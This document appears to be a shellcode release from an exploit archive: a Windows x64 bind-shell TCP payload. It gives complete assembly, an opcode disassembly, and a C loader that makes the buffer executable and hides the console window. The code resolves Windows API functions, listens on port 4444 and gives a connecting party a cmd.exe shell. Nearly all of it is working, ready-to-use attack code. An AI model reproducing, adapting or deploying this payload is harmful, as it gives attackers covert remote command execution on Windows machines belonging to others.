/* # Title : Windows x64 Bind Shell TCP Shellcode # size : 508 bytes # Date : 08-12-2016 # Author : Roziul Hasan Khan Shifat # Tested On : Windows 7 Professional x64 */ /* section .text global _start _start: xor rdx,rdx mov rax,[gs:rdx+0x60] mov rsi,[rax+0x18] mov rsi,[rsi+0x10] lodsq mov rsi,[rax] mov r14,[rsi+0x30] ;---------------------- mov dl,0x88 mov ebx,[r14+0x3c] add rbx,r14 mov ebx,[rbx+rdx] add rbx,r14 ;-------------------------- mov esi,[rbx+0x1c] add rsi,r14 ;kernel32.dll base address ;------------------------------- mov dx,832 mov ebx,[rsi+rdx*4] add rbx,r14 ;LoadLibraryA() ;------------------------------- mov dl,128 sub rsp,rdx lea r12,[rsp] ;---------------------------------------------------- ;loading ws2_32.dll xor rdx,rdx mov [r12],dword 'ws2_' mov [r12+4],word '32' mov [r12+6],byte dl lea rcx,[r12] sub rsp,88 call rbx mov r15,rax ;ws2_32.dll base address ;-------------------------------------------------- xor rdx,rdx mov dl,0x88 mov ebx,[r15+0x3c] add rbx,r15 mov ebx,[rbx+rdx] add rbx,r15 mov edi,[rbx+0x1c] add rdi,r15 ;------------------------------ mov dx,114*4 mov ebx,[rdi+rdx] add rbx,r15 ;WSAStartup() ;----------------------------------- ;WSAStartup(514,&WSADATA) xor rcx,rcx mov cx,408 sub rsp,rcx lea rdx,[rsp] mov cx,514 sub rsp,88 call rbx ;------------------------------------------- xor rdx,rdx mov dx,98*4 mov ebx,[rdi+rdx] add rbx,r15 ;WSASocketA() ;WSASocket(2,1,6,0,0,0) push 6 push 1 push 2 pop rcx pop rdx pop r8 xor r9,r9 mov [rsp+32],r9 mov [rsp+40],r9 call rbx mov r13,rax ;SOCKET ;-------------------------------------------- mov ebx,[rdi+80] add rbx,r15 ;setsockopt() ;setsockopt(SOCKET,0xffff,4,&1,4) xor rdx,rdx mov rcx,r13 mov dx,0xffff push 4 pop r8 mov [rsp],byte 1 lea r9,[rsp] sub rsp,88 mov [rsp+32],r8 call rbx ;-------------------------------------------------- mov ebx,[rdi+4] add rbx,r15 ;bind() ;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) push 16 pop r8 xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov [r12],byte 2 mov [r12+2],word 0x5c11 ;port 4444 (change it if U want) lea rdx,[r12] mov rcx,r13 call rbx ;---------------------------------------- mov ebx,[rdi+48] add rbx,r15 ;listen() ;listen(SOCKET,1) push 1 pop rdx push r13 pop rcx call rbx ;----------------------------------- mov ebx,[rdi] add rbx,r15 ;accept() ;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,16 push rdx lea r8,[rsp] lea rdx,[r12] mov rcx,r13 sub rsp,88 call rbx ;------------------------------------------- xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,104 xor rcx,rcx mov [r12],dword edx mov [r12+4],rcx mov [r12+12],rcx mov [r12+20],rcx mov [r12+24],rcx mov dl,255 inc rdx mov [r12+0x3c],edx mov [r12+0x50],rax mov [r12+0x58],rax mov [r12+0x60],rax ;-------------------------------------------------- mov [r12-4],dword 'cmdA' mov [r12-1],byte cl ;----------------------------------------- sub rsp,88 ;CreateProcessA(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&STARTUPINFOA,&PROCESS_INFOMATION) lea rdx,[r12-4] ;"cmd" xor r8,r8 ;NULL push r8 pop r9 ;NULL mov [rsp+32],byte 1 ;TRUE mov [rsp+40],r8 ;0 mov [rsp+48],r8 ;NULL mov [rsp+56],r8 ;NULL lea rax,[r12] mov [rsp+64],rax lea rax,[r12+104] mov [rsp+72],rax xor r10,r10 mov r10w,165*4 mov ebx,[rsi+r10] add rbx,r14 ;CreateProcessA() call rbx ;----------------------------------------------- mov r10w,297*4 mov ebx,[rsi+r10] add rbx,r14 push 1 pop rcx add rsp,88 call rbx */ /* file format pe-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 48 31 d2 xor %rdx,%rdx 3: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax 8: 48 8b 70 18 mov 0x18(%rax),%rsi c: 48 8b 76 10 mov 0x10(%rsi),%rsi 10: 48 ad lods %ds:(%rsi),%rax 12: 48 8b 30 mov (%rax),%rsi 15: 4c 8b 76 30 mov 0x30(%rsi),%r14 19: b2 88 mov $0x88,%dl 1b: 41 8b 5e 3c mov 0x3c(%r14),%ebx 1f: 4c 01 f3 add %r14,%rbx 22: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 25: 4c 01 f3 add %r14,%rbx 28: 8b 73 1c mov 0x1c(%rbx),%esi 2b: 4c 01 f6 add %r14,%rsi 2e: 66 ba 40 03 mov $0x340,%dx 32: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 35: 4c 01 f3 add %r14,%rbx 38: b2 80 mov $0x80,%dl 3a: 48 29 d4 sub %rdx,%rsp 3d: 4c 8d 24 24 lea (%rsp),%r12 41: 48 31 d2 xor %rdx,%rdx 44: 41 c7 04 24 77 73 32 movl $0x5f327377,(%r12) 4b: 5f 4c: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 53: 32 54: 41 88 54 24 06 mov %dl,0x6(%r12) 59: 49 8d 0c 24 lea (%r12),%rcx 5d: 48 83 ec 58 sub $0x58,%rsp 61: ff d3 callq *%rbx 63: 49 89 c7 mov %rax,%r15 66: 48 31 d2 xor %rdx,%rdx 69: b2 88 mov $0x88,%dl 6b: 41 8b 5f 3c mov 0x3c(%r15),%ebx 6f: 4c 01 fb add %r15,%rbx 72: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 75: 4c 01 fb add %r15,%rbx 78: 8b 7b 1c mov 0x1c(%rbx),%edi 7b: 4c 01 ff add %r15,%rdi 7e: 66 ba c8 01 mov $0x1c8,%dx 82: 8b 1c 17 mov (%rdi,%rdx,1),%ebx 85: 4c 01 fb add %r15,%rbx 88: 48 31 c9 xor %rcx,%rcx 8b: 66 b9 98 01 mov $0x198,%cx 8f: 48 29 cc sub %rcx,%rsp 92: 48 8d 14 24 lea (%rsp),%rdx 96: 66 b9 02 02 mov $0x202,%cx 9a: 48 83 ec 58 sub $0x58,%rsp 9e: ff d3 callq *%rbx a0: 48 31 d2 xor %rdx,%rdx a3: 66 ba 88 01 mov $0x188,%dx a7: 8b 1c 17 mov (%rdi,%rdx,1),%ebx aa: 4c 01 fb add %r15,%rbx ad: 6a 06 pushq $0x6 af: 6a 01 pushq $0x1 b1: 6a 02 pushq $0x2 b3: 59 pop %rcx b4: 5a pop %rdx b5: 41 58 pop %r8 b7: 4d 31 c9 xor %r9,%r9 ba: 4c 89 4c 24 20 mov %r9,0x20(%rsp) bf: 4c 89 4c 24 28 mov %r9,0x28(%rsp) c4: ff d3 callq *%rbx c6: 49 89 c5 mov %rax,%r13 c9: 8b 5f 50 mov 0x50(%rdi),%ebx cc: 4c 01 fb add %r15,%rbx cf: 48 31 d2 xor %rdx,%rdx d2: 4c 89 e9 mov %r13,%rcx d5: 66 ba ff ff mov $0xffff,%dx d9: 6a 04 pushq $0x4 db: 41 58 pop %r8 dd: c6 04 24 01 movb $0x1,(%rsp) e1: 4c 8d 0c 24 lea (%rsp),%r9 e5: 48 83 ec 58 sub $0x58,%rsp e9: 4c 89 44 24 20 mov %r8,0x20(%rsp) ee: ff d3 callq *%rbx f0: 8b 5f 04 mov 0x4(%rdi),%ebx f3: 4c 01 fb add %r15,%rbx f6: 6a 10 pushq $0x10 f8: 41 58 pop %r8 fa: 48 31 d2 xor %rdx,%rdx fd: 49 89 14 24 mov %rdx,(%r12) 101: 49 89 54 24 08 mov %rdx,0x8(%r12) 106: 41 c6 04 24 02 movb $0x2,(%r12) 10b: 66 41 c7 44 24 02 11 movw $0x5c11,0x2(%r12) 112: 5c 113: 49 8d 14 24 lea (%r12),%rdx 117: 4c 89 e9 mov %r13,%rcx 11a: ff d3 callq *%rbx 11c: 8b 5f 30 mov 0x30(%rdi),%ebx 11f: 4c 01 fb add %r15,%rbx 122: 6a 01 pushq $0x1 124: 5a pop %rdx 125: 41 55 push %r13 127: 59 pop %rcx 128: ff d3 callq *%rbx 12a: 8b 1f mov (%rdi),%ebx 12c: 4c 01 fb add %r15,%rbx 12f: 48 31 d2 xor %rdx,%rdx 132: 49 89 14 24 mov %rdx,(%r12) 136: 49 89 54 24 08 mov %rdx,0x8(%r12) 13b: b2 10 mov $0x10,%dl 13d: 52 push %rdx 13e: 4c 8d 04 24 lea (%rsp),%r8 142: 49 8d 14 24 lea (%r12),%rdx 146: 4c 89 e9 mov %r13,%rcx 149: 48 83 ec 58 sub $0x58,%rsp 14d: ff d3 callq *%rbx 14f: 48 31 d2 xor %rdx,%rdx 152: 49 89 14 24 mov %rdx,(%r12) 156: 49 89 54 24 08 mov %rdx,0x8(%r12) 15b: b2 68 mov $0x68,%dl 15d: 48 31 c9 xor %rcx,%rcx 160: 41 89 14 24 mov %edx,(%r12) 164: 49 89 4c 24 04 mov %rcx,0x4(%r12) 169: 49 89 4c 24 0c mov %rcx,0xc(%r12) 16e: 49 89 4c 24 14 mov %rcx,0x14(%r12) 173: 49 89 4c 24 18 mov %rcx,0x18(%r12) 178: b2 ff mov $0xff,%dl 17a: 48 ff c2 inc %rdx 17d: 41 89 54 24 3c mov %edx,0x3c(%r12) 182: 49 89 44 24 50 mov %rax,0x50(%r12) 187: 49 89 44 24 58 mov %rax,0x58(%r12) 18c: 49 89 44 24 60 mov %rax,0x60(%r12) 191: 41 c7 44 24 fc 63 6d movl $0x41646d63,-0x4(%r12) 198: 64 41 19a: 41 88 4c 24 ff mov %cl,-0x1(%r12) 19f: 48 83 ec 58 sub $0x58,%rsp 1a3: 49 8d 54 24 fc lea -0x4(%r12),%rdx 1a8: 4d 31 c0 xor %r8,%r8 1ab: 41 50 push %r8 1ad: 41 59 pop %r9 1af: c6 44 24 20 01 movb $0x1,0x20(%rsp) 1b4: 4c 89 44 24 28 mov %r8,0x28(%rsp) 1b9: 4c 89 44 24 30 mov %r8,0x30(%rsp) 1be: 4c 89 44 24 38 mov %r8,0x38(%rsp) 1c3: 49 8d 04 24 lea (%r12),%rax 1c7: 48 89 44 24 40 mov %rax,0x40(%rsp) 1cc: 49 8d 44 24 68 lea 0x68(%r12),%rax 1d1: 48 89 44 24 48 mov %rax,0x48(%rsp) 1d6: 4d 31 d2 xor %r10,%r10 1d9: 66 41 ba 94 02 mov $0x294,%r10w 1de: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 1e2: 4c 01 f3 add %r14,%rbx 1e5: ff d3 callq *%rbx 1e7: 66 41 ba a4 04 mov $0x4a4,%r10w 1ec: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 1f0: 4c 01 f3 add %r14,%rbx 1f3: 6a 01 pushq $0x1 1f5: 59 pop %rcx 1f6: 48 83 c4 58 add $0x58,%rsp 1fa: ff d3 callq *%rbx */ #include #include #include char shellcode[]=\ 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int main() { int len=strlen(shellcode); DWORD l=0; printf("shellcode length : %d\n",len); //making memory executbale VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l); //hiding windows AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); // (* (int(*)()) shellcode)(); return 0; }